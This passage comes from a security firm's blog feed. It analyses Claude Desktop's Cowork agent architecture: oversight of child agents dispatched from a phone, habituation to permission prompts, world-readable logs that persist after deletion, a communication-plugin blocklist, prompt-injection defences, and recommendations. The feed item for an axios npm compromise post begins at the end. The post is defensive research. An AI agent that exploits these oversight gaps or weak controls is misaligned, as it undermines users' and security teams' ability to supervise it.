they can&#8217;t read other sessions&#8217; transcripts or spawn further children. This limits the blast radius of any individual child agent.</p><h3><strong>Limited Visibility from Phone</strong></h3><p>An important consideration: when you dispatch from your phone, you have limited real-time visibility into what the child agent is doing. The parent polls the child&#8217;s transcript and relays results, but the child may perform many actions (file system traversal, Chrome navigation, screenshot capture) before the parent checks in. Permission requests are forwarded to your phone, but the approval context is limited - you see a directory name but may not fully understand what the agent plans to do with that access. We observed the agent trigger <code>request_cowork_directory</code> five times during a single session, each requiring manual approval. The CUA security literature notes that users tend to &#8220;grow used to always agreeing&#8221; to such dialogs - a risk amplified by the limited context available on a phone screen.</p><p>We also encountered several instances where the Dispatch phone view appeared stuck with no visible progress indicator, while the session on the desktop showed active agent execution. This may be a symptom of the feature&#8217;s relative newness, but it underscores the visibility gap when operating remotely.</p><div><hr></div><h2><strong>The Logs: A Forensic Goldmine</strong></h2><p><em><strong>Claude Desktop generates extensive local logs - complete tool transcripts, model reasoning chains, user messages in plaintext - all in world-readable files. Some of these survive even after you delete a session.</strong></em></p><p>With all this complexity - a VM, a Chrome bridge, remote dispatch, parent-child agent orchestration - how do you actually see what the agent did? Claude Desktop generates extensive logging that provides surprisingly detailed visibility into agent behavior:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EywK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EywK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 424w, https://substackcdn.com/image/fetch/$s_!EywK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 848w, https://substackcdn.com/image/fetch/$s_!EywK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 1272w, https://substackcdn.com/image/fetch/$s_!EywK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EywK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png" width="1456" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:114342,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EywK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 424w, https://substackcdn.com/image/fetch/$s_!EywK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 848w, https://substackcdn.com/image/fetch/$s_!EywK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 1272w, https://substackcdn.com/image/fetch/$s_!EywK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2547f6b-98d4-4fc8-b72b-5490fea87a8b_1924x628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>All log files we examined had <code>644</code> (world-readable) permissions, meaning any local process can read them.</p><h3><strong>Session Artifacts</strong></h3><p>Each Cowork session creates a directory tree at <code>~/Library/Application Support/Claude/local-agent-mode-sessions/</code>:</p><ul><li><p><code>audit.jsonl</code> - The complete transcript of every tool invocation, including inputs, outputs, the model&#8217;s thinking chain, and timing. This is the definitive forensic record.</p></li><li><p><code>outputs/screenshot-*.jpg</code> - Full desktop screenshots taken by Computer Use, saved as JPEG images (~200KB, 1372x891 pixels in our tests) with <code>644</code> (world-readable) permissions. We tested the lifecycle: screenshots persist on disk during the active session, but are cleaned up when the session is deleted from the Claude Desktop UI. However, child session audit logs (which can contain base64-encoded screenshots inline) are NOT cleaned up on session deletion - see note below.</p></li><li><p><code>.claude.json</code> - Session configuration including all cached GrowthBook feature flags</p></li><li><p><code>remote_cowork_plugins/manifest.json</code> - Plugin manifest (currently empty in our observations - no security plugins loaded in VM agents)</p></li></ul><p>The <code>bridge-state.json</code> file at the Application Support root maps remote Anthropic session IDs (<code>cse_*</code>) to local ditto sessions (<code>local_ditto_*</code>), providing the link between phone dispatch and local execution.</p><p><strong>A note on data persistence:</strong> We tested what happens when you delete a session from the Claude Desktop UI. The results are mixed:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wpuu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wpuu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 424w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 848w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 1272w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wpuu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png" width="1348" height="628" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:628,&quot;width&quot;:1348,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:98226,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wpuu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 424w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 848w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 1272w, https://substackcdn.com/image/fetch/$s_!wpuu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa52b8c2-6910-429b-a659-276c8f3d7477_1348x628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This means that even after deleting a session, complete transcripts of every tool invocation, model thinking chain, and file contents read by child agents remain on disk in world-readable files. The <code>main.log</code> file (also <code>644</code> permissions) retains the full conversation history including user messages in plaintext across all sessions, regardless of deletion.</p><p>Anthropic&#8217;s own documentation notes that &#8220;Cowork activity is not captured in audit logs, Compliance API, or data exports&#8221; - this refers to their cloud-side audit infrastructure. The local filesystem tells a different story.</p><h2><strong>Codenames Decoded</strong></h2><p>Throughout this analysis, we&#8217;ve referenced internal codenames that appear in log files and configuration. Here&#8217;s the full map we assembled from log prefixes, feature flag namespaces, and session IDs:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eZah!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eZah!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 424w, https://substackcdn.com/image/fetch/$s_!eZah!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 848w, https://substackcdn.com/image/fetch/$s_!eZah!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 1272w, https://substackcdn.com/image/fetch/$s_!eZah!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eZah!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png" width="1456" height="691" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:691,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:145698,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eZah!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 424w, https://substackcdn.com/image/fetch/$s_!eZah!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 848w, https://substackcdn.com/image/fetch/$s_!eZah!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 1272w, https://substackcdn.com/image/fetch/$s_!eZah!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2e0953e-d975-4ba1-8b10-8b00bd032334_1660x788.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8220;<strong>Chicago</strong>&#8221; for computer use, &#8220;<strong>ditto</strong>&#8221; for the persistent agent session, &#8220;harbor&#8221; for the plugin marketplace. &#8220;Sparkle-hedgehog&#8221; remains a mystery - a feature gate that&#8217;s checked hourly but has never been enabled in our observation period.</p><div><hr></div><h2><strong>What Anthropic Gets Right</strong></h2><p>Having mapped the full architecture, it&#8217;s worth stepping back to acknowledge what works well. Cowork&#8217;s security architecture shows serious engineering investment:</p><ul><li><p><strong>Ephemeral CA certificates</strong> - Generated fresh each boot, private key in memory only. Good cryptographic hygiene.</p></li><li><p><strong>Per-invocation permission gates</strong> - The agent asks each time it needs file access. No blanket grants.</p></li><li><p><strong>Server-side kill switches</strong> - GrowthBook feature flags let Anthropic disable any capability remotely, instantly.</p></li><li><p><strong>Egress proxy with domain allowlist</strong> - Network access is filtered, not open.</p></li><li><p><strong>Visibility-aware text extraction</strong> - The Chrome extension strips hidden content before the agent sees it, reducing prompt injection surface.</p></li><li><p><strong>Ephemeral session storage</strong> - Session disks are formatted fresh each boot.</p></li><li><p><strong>Model-level injection detection</strong> - Claude Sonnet 4.6 has robust detection of common prompt injection patterns. Anthropic reports approximately 1% attack success rates against their internal testing.</p></li><li><p><strong>Electron fuse hardening</strong> - <code>RunAsNode: Disabled</code>, <code>EnableNodeOptionsEnvironmentVariable: Disabled</code>, <code>EnableEmbeddedAsarIntegrityValidation: Enabled</code>, <code>OnlyLoadAppFromAsar: Enabled</code>.</p></li><li><p><strong>Transparent risk communication</strong> - The computer use enable dialog explicitly warns about prompt injection, irreversible actions, and app escalation. Support articles call prompt injection &#8220;the biggest risk&#8221; and state that output filters &#8220;are not a security boundary.&#8221;</p></li></ul><p>These are real, defense-in-depth controls. They&#8217;re not perfect (no security architecture is), but they demonstrate thoughtful engineering around the threat model for autonomous agents.</p><h2><strong>Areas for Improvement</strong></h2><p>That said, our analysis identified several areas where the security posture could be strengthened:</p><p><strong>Incomplete cleanup on session deletion.</strong> When a user deletes a session, screenshots are properly cleaned up, but child session audit logs are not. These audit logs contain complete transcripts of every tool call and model reasoning chain - potentially including sensitive file contents the agent read. Additionally, <code>main.log</code> is never affected by session deletion and retains the full conversation history in plaintext.</p><p><strong>No device authentication for remote dispatch.</strong> There&#8217;s no additional authentication for remote commands beyond the Claude session itself - no MFA, no device binding, no presence check on the desktop before executing actions. The logs don&#8217;t distinguish whether a command came from the phone or the desktop.</p><p><strong>World-readable log files with sensitive content.</strong> <code>main.log</code> (<code>644</code> permissions) contains full user messages in plaintext, file paths, subscription tier details, and organization IDs. The <code>audit.jsonl</code> files contain complete agent transcripts including the model&#8217;s internal reasoning. Any local process can read these.</p><p><strong>Communication channel blocklist vs allowlist.</strong> The <code>tengu_harbor_ledger</code> blocks specific communication plugins (Discord, Telegram, iMessage) but uses a deny-specific approach. New communication plugins are allowed by default until explicitly blocked, which inverts the principle of least privilege.</p><p><strong>Destructive command warnings disabled in VM.</strong> The <code>tengu_destructive_command_warning</code> flag is set to <code>false</code> inside the VM, meaning the agent won&#8217;t warn before executing potentially destructive commands like <code>rm</code>. The VM&#8217;s ephemeral storage mitigates some risk, but commands affecting mounted host directories wouldn&#8217;t benefit from warnings.</p><div><hr></div><h2><strong>Practical Security Recommendations</strong></h2><p>Based on our analysis and informed by Anthropic&#8217;s own guidance:</p><p><strong>For individual users:</strong></p><ul><li><p>Close sensitive applications and browser tabs before enabling Computer Use - the agent can see and interact with everything visible</p></li><li><p>Review permission requests carefully, especially from phone dispatch where context is limited</p></li><li><p>Be aware that Chrome browsing happens outside the VM sandbox, using your real browser with your real cookies and network access</p></li><li><p>Don&#8217;t process regulated data (financial, health, legal) through Cowork - Anthropic explicitly warns it&#8217;s &#8220;not suitable for regulated workloads&#8221;</p></li><li><p>Review session directories periodically and clean up any sensitive artifacts</p></li></ul><p><strong>For security teams evaluating deployment:</strong></p><ul><li><p>Monitor <code>main.log</code> and <code>audit.jsonl</code> for agent behavior (we&#8217;ll cover detection strategies in detail in a future post)</p></li><li><p>Consider the dispatch feature&#8217;s implications for your threat model - remote agent execution with limited real-time oversight</p></li><li><p>Understand that the agent&#8217;s behavior is non-deterministic - an action it refused yesterday might succeed today. Security policies should account for this variability</p></li><li><p>Review Anthropic&#8217;s safety guides: <a href="https://support.claude.com/en/articles/13364135-use-cowork-safely">Use Cowork Safely</a>, <a href="https://support.claude.com/en/articles/12902428-using-claude-in-chrome-safely">Using Claude in Chrome Safely</a>, and <a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">Computer Use in Cowork</a></p></li><li><p>Account for the fact that Computer Use operates outside the VM sandbox with full host access</p></li></ul><h2><strong>Looking Ahead</strong></h2><p>This analysis represents a point-in-time snapshot (March 2026, Claude Desktop for macOS). Anthropic ships updates frequently, and the architecture will evolve. We&#8217;ll continue monitoring and will publish updates as significant changes occur.</p><p>Computer use agents are a genuinely new capability category, and the security community is still developing frameworks for evaluating them. We hope this deep dive helps security professionals and users alike make informed decisions about deploying and securing these systems.</p><p>This is the first in a series of technical deep dives into the security architecture of AI tools and platforms. As the AI ecosystem evolves rapidly, we believe that security research plays an important role in helping the community understand what&#8217;s running under the hood. We&#8217;ll be publishing similar analyses of other AI agent platforms and tools in the coming months.</p><div><hr></div><p style="text-align: center;">Thanks for reading! This post is public so feel free to share it.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.pluto.security/subscribe?"><span>Subscribe now</span></a></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs"><span>Share</span></a></p><div><hr></div><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><div><hr></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://substack.com/@plutosecurity/note/p-189124612&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://substack.com/@plutosecurity/note/p-189124612"><span>Leave a comment</span></a></p>]]></content:encoded></item><item><title><![CDATA[Another Day, Another Supply Chain Compromise: Here’s What We Know About the Axios Incident]]></title><description><![CDATA[A maintainer account takeover, a cross-platform RAT, and a payload designed to vanish - inside the axios npm compromise and why network-level detection matters more than you think.]]></description><link>https://blog.pluto.security/p/another-day-another-supply-chain</link><guid isPermaLink="false">https://blog.pluto.security/p/another-day-another-supply-chain</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Tue, 31 Mar 2026 12:55:21 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1z-r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1z-r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1z-r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 424w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 848w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1z-r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png" width="2470" height="1536" 